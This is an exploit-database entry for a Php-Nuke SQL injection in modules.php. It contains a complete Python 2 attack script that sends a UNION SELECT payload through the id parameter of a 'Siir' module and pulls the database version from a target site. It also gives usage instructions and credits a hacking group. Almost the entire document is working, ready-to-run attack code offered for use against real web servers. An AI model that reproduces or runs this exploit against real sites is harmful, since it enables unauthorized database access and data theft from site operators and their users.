Php-Nuke (modules.php id) SQL Injection Exploit (.py)

2010-08-23T00:00:00
ID 1337DAY-ID-13792
Type zdt
Reporter LifeSteaLeR
Modified 2010-08-23T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            =====================================================
Php-Nuke (modules.php id) SQL Injection Exploit (.py)
=====================================================


#!/usr/bin/env python
#-*- coding:cp1254 -*-

# Php-Nuke (modules.php id) SQL Injection Exploit (.py)
# Author LifeSteaLeR
# Exploit Coded By ZoRLu / [email protected]
# Date: 22/08/2010
# Tested on my xp:  http://img101.imageshack.us/img101/3864/usermm.jpg
# Home Life : lifestealer.com
# Tayfa : Black Peace Group
# Friendz: BLaSTER , s3f4 , Jester , Guardian_Wolf , ZoRLu , Dr.Ly0n


import sys, urllib2, re, os, time
 
if len(sys.argv) < 2:
    os.system('cls')
    os.system('clear')
    os.system('color 2')
    print "_______________________________________________________________"
    print "                                                               "
    print "            Php-Nuke SQL Inj Exploit (.py)                     "
    print "                                                               "
    print "            Found by / Author LifeSteaLeR                      "
    print "                                                               "
    print "            coded by ZoRLu                                     "
    print "                                                               "
    print "            Usage:                                             "
    print "                                                               "
    print "            python exploit.py http://site.com/path/            "
    print "                                                               "
    print "_______________________________________________________________"
    sys.exit(1)

add = "http://"
add2 = "/"

sitemiz = sys.argv[1]
if sitemiz[-1:] != add2:
    print "\nwhere is  it: " + add2
    print "okk I will add"
    time.sleep(2)
    sitemiz += add2
    print "its ok" + " " + sitemiz
    
if sitemiz[:7]  != add:
    print "\nwhere is it: " + add
    print "okk I will add"
    time.sleep(2)
    sitemiz =  add + sitemiz
    print "its ok" + " " + sitemiz


vulnfile = "modules.php"
sql = "?name=Siir&op=print&id=0000000+union+select+1,2,concat(0x3a3a3a,version(),0x3a3a3a),4,5"
url = sitemiz + vulnfile + sql

print "\nExploiting...\n"
print "wait three sec.!\n"
time.sleep(3)

try:
    veri = urllib2.urlopen(url).read()
    aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
    if len(aliver) > 0:
        print "version():  " + aliver[0][0] + aliver[0][1] + aliver[0][2]
		                                
        print "\nGood Job Bro!"
        
    else:
        print "Exploit failed..."
        

except urllib2.HTTPError:
    print "Forbidden Sorry! Server has a Security!"



#  0day.today [2018-04-13]  #